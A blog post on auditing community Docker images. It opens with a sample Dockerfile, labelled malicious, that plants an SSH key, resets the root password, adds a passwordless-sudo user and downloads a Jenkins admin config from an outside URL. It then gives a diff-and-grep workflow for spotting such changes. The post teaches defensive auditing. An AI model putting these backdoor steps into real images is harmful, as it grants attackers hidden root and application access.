Audit Docker Image Security

Here is a simple example. Doubtless it will misleading and hard to diagnose in real world.

• In L18-19, a ssh key is injected to to authorized_keys. If you start sshd, you’re in danger.
• In L22, root password has been reset. Not good, isn’t it?
• In L25-26, a malicious OS user has been added.
• In L29-31, the user has been promoted as super admin, and he/she can run any commands without password!
• In L34-36, your jenkins has an unpleasant admin user now. Yes, Jenkins is hot and popular. You can do a lot of things with Jenkins. So do the hackers! This case represents security of application layer. It’s certainly the most dangerous and difficult case.

 1: ########## How To Use Docker Image ###############
 2: ##
 3: ##  Install docker utility
 4: ##  Download docker image:
 5: ##   docker pull denny/test:v1
 6: ##  Boot docker container:
 7: ##   docker run -t -P -d --name my-test denny/test:v1 /bin/bash
 8: ##
 9: ##  Build Image From Dockerfile.
10: ##   docker build -f Dockerfile -t denny/test:v1 --rm=false .
11: ##################################################
12: 
13: FROM ubuntu:14.04
14: MAINTAINER Denny <denny@dennyzhang.com>
15: 
16: RUN mkdir -p /root/.ssh && \
17:   # SSH login by key file
18:   echo "ssh-rsa AAAAB3NzaC1...lOvno6KN5 denny@dennyzhang.com" \
19:        >> /root/.ssh/authorized_keys && \
20: 
21:   # Reset root password
22:   echo 'root:ChangeMe1' | chpasswd && \
23: 
24:   # Add a malicious user
25:   useradd denny && \
26:   echo 'denny:ChangeMe1' | chpasswd && \
27: 
28:   # Add user to super admin
29:   echo '%denny ALL=(ALL:ALL) NOPASSWD: ALL' > \
30:         /etc/sudoers.d/admins && \
31:   chmod 400 /etc/sudoers.d/admins && \
32: 
33:   # Add superadmin user to
34:   mkdir -p /var/lib/jenkins/users/superadmin && \
35:   wget -O /var/lib/jenkins/users/superadmin/config.xml \
36:     https://github.com/dennyzhang/devops_public/raw/tag_v6/doc/admin_conf_xml
37: 
38: CMD ["/bin/bash"]

Apparently we still want to use community docker images. Just need to rule out insecure ones. Also audit potential security risks as many as possible. Docker images are built directly or indirectly from golden images provided by trusted sources. Original golden docker images are usually clean. So literally speaking, what changes community docker images have made?

People can inspect change of docker containers by “docker diff $container_id“. Unfortunately docker doesn’t support images comparison. Here is a feasible workaround:

• List all files in golden image like below.

container_name="container1"
docker_image="ubuntu:14.04"
result_list="/tmp/list1.txt"
docker stop $container_name; \
 docker rm $container_name || true
# Start a container from golden image
docker run -t --name $container_name \
 -d $docker_image /bin/bash

# List all files inside the container
docker export $container_name | \
  docker run -i --rm ubuntu tar tvf - \
  > $result_list

# Check the list
tail $result_list
# drwxr-xr-x 0/0      0   2016-08-02 08:26 bin/
# -rwxr-xr-x 0/0  21112   2014-10-07 19:22 bin/bash
# -rwxr-xr-x 0/0  31152   2013-10-21 13:15 bin/bunzip2
# lrwxrwxrwx 0/0      0   2013-10-21 13:15 bin/bzcmp -> bzdiff
# -rwxr-xr-x 0/0   2140   2013-10-21 13:15 bin/bzdiff
# ...

• List all files in problematic image. Note it might take tens of minutes for large images.

container_name="container2"
docker_image="denny/gitlab:v1"
result_list="/tmp/list2.txt"
docker stop $container_name; \
 docker rm $container_name || true
# Start a container from golden image
docker run -t --name $container_name \
 -d $docker_image /bin/bash

# List all files inside the container
docker export $container_name | \
  docker run -i --rm ubuntu tar tvf - \
  > $result_list

# Check the list
tail $result_list

• Compare Two list

result1="/tmp/list1.txt"
result2="/tmp/list2.txt"
diff_result="/tmp/diff.txt"

diff $result1 $result2 > $diff_result

tail $diff_result
# > drwxr-xr-x 0/0     0  2015-12-20 13:34 var/spool/postfix/pid/
# > drwx------ 103/0   0  2015-12-20 13:34 var/spool/postfix/private/
# > drwx--s--- 103/0   0  2015-12-20 13:34 var/spool/postfix/public/
# > drwx------ 103/0   0  2015-12-20 13:34 var/spool/postfix/saved/

• Check for security vulnerability

diff_result="/tmp/diff.txt"

# Check ssh authorized login
grep authorized_keys $diff_result

# check OS users
grep "etc/group" $diff_result

# Check sudo users
grep "etc/sudoers.d" $diff_result

# Check ssh key pair
grep ".ssh/.*id_rsa" $diff_result

# Add your checks in below
# ...
# ...

After the test, remember to remove useless containers.

Posts: Tag #docker

• 5 Tips Of GUI Tests With Python + Selenium
• Get Alerts, When Containers Run Into Issues
• [Container] Run Process Debug Tools, But Install Nothing
• ChatOps Bot: Query Node Info Without Manual Login
• Run Code Static Check Via A Temporary Container
• Get Notification: Monitor Your Docker Image Sizing
• 8 Lessons Learned Using docker-compose
• Verify Docker Images Build By Docker-In-Docker
• [Product Review] NeuVector, Build Run-Time Container Security
• docker-bench-security: Audit Well-Known Docker Vulnerabilities

Blog URL: https://www.dennyzhang.com/docker_image_scan